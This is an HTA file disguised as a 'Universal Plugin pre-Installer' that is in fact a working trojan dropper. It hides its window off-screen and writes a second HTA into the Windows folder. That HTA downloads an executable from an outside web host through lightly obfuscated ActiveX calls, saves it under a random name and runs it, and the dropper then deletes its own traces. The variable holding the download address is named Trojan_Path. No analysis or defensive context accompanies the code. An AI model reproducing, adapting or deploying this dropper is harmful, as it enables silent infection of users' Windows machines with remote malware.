<HTML><HEAD><TITLE>Universal Plugin pre-Installer</TITLE>
<HTA:APPLICATION id=PlugInst
APPLICATIONNAME="Plugin Installer"
SHOWINTASKBAR=NO
CAPTION=YES
SINGLEINSTANCE=YES
MAXIMIZEBUTTON=NO
MINIMIZEBUTTON=NO
WINDOWSTATE=MINIMIZE
/></HEAD>
<BODY>

<TEXTAREA id="Main_HTA">
<HTML><HEAD>
<HTA:APPLICATION id=PXP
 APPLICATIONNAME="PXP"
 SHOWINTASKBAR=NO
 CAPTION=YES
 SINGLEINSTANCE=YES
 MAXIMIZEBUTTON=NO
 MINIMIZEBUTTON=NO
 WINDOWSTATE=MINIMIZE
 />
</HEAD>
<BODY>
<SCRIPT> 
function Dl(Rp,Ln)
{
try
{
var SC=new ActiveXObject("MSScriptControl.ScriptControl");  
SC.Language="JavaScript";  
SC.Reset();
var oX=new ActiveXObject("Microsoft.XMLHTTP"); 
oX.Open("GET",Rp,0); 
oX.Send();   
sAX=unescape("%41DODB%2eStream");
var oS=new ActiveXObject(sAX); 
SC.AddObject("oAS", oS);
SC.AddObject("oXS", oX);
var oA=new ActiveXObject("Shell.Application");
aC="var XB=oXS.responseBody;oAS.Type=1;oAS.Mode=3;oAS.Open();oAS.Write(XB);"+"oAS.Sa"+"veToFile('"+Ln+"',2);";
SC.ExecuteStatement(aC);
oA.ShellExecute(Ln);
r=0;
}
catch(e){}
}
self.moveTo(5000,5000);
</TEXTAREA>

<SCRIPT language="VBScript">
ssfDESKTOP = 0
     ssfPROGRAMS = 2
     ssfSTARTMENU = 11
     ssfDESKTOPDIRECTORY = 16
     ssfFONTS=20
     ssfCOMMONSTARTMENU = 22
     ssfCOMMONPROGRAMS = 23
     ssfCOMMONSTARTUP = 24
     ssfCOMMONDESKTOPDIR = 25
     ssfCOMMONALTSTARTUP = 30
     ssfCOMMONFAVORITES = 31
     ssfCOMMONAPPDATA = 35
     ssfWINDOWS = 36
     ssfSYSTEM = 37
    
     Dim oShellApp
     Dim oFolder
     Dim oFolderItem
     Dim WinDir
     Dim Main_HTA_Body
     Dim Cmd_Params
     Dim Trojan_Path
     Dim IntervalID
     Dim nCmdCalled
     
     nCmdCalled=0
     InitPaths()
     Randomize

     self.MoveTo 6000,6000
 
     ExeName=GenerateName()
     ExeName=ExeName & ".exe"
     HTAName=GenerateName()
     HTAName=HTAName & ".hta" 
      
     Set oShellApp = CreateObject("Shell.Application")
     Set oFolder = oShellApp.NameSpace(ssfFONTS)
     Set oFolderItem=oFolder.ParseName("Symbol.ttf")
     Font_Path_Components=Split(oFolderItem.Path,"\",-1,1)
     WinDir= Font_Path_Components(0) & "\" &  Font_Path_Components(1) & "\"
     ExeName=WinDir & ExeName
     HTAName=WinDir & HTAName

     Call Run_Installer 
     setTimeout "HangUp()",9000
       
Sub  Run_Installer
     
     Main_HTA_Body=document.all.Main_HTA.innerText
     Download_Call="Dl('" & Trojan_Path & "'"  & "," & "'" & ExeName & "'" & ");"
     Download_Call=Replace(Download_Call,"\","\\\\")
     Main_HTA_Body= Main_HTA_Body &  Download_Call
     Main_HTA_Body= Main_HTA_Body & "self.close();</SCR" & "IPT></BODY></HTML>"
     Main_HTA_Body=Replace(Main_HTA_Body,vbCrLf,"")
     Main_HTA_Body=Replace(Main_HTA_Body,">","^>")
     Main_HTA_Body=Replace(Main_HTA_Body,"<","^<")


            // Create an additional HTA file (can't be greater than 1000 bytes) 
  
            Cmd_Params="/c echo " & Main_HTA_Body & " > " & HTAName
            oShellApp.ShellExecute "cmd",Cmd_Params,"open"
            oShellApp.ShellExecute "mshta",HTAName
            Cmd_Params="/c del " &  HTAName
            IntervalID=setInterval("Delete_HTA(Cmd_Params)",3000)  
End  Sub 

Function HangUp()
         clearInterval(IntervalID)
         self.Close
End      Function

Function Delete_HTA(params)
        If nCmdCalled<4 Then
           oShellApp.ShellExecute "cmd",params
           nCmdCalled=nCmdCalled+1
        End If
End Function   

Function GenerateName()
RandomName=""
rr=Int(8*Rnd)
ik=0
Do
ii=Int(25*Rnd)+97
RandomName=RandomName+Chr(ii)
ik=ik+1
Loop While ik<rr
GenerateName=RandomName
End Function

Function InitPaths
Trojan_Path="http://valliossa.biz.temp.omnis.com/web.exe" 
End Function
</SCRIPT>

</BODY></HTML>

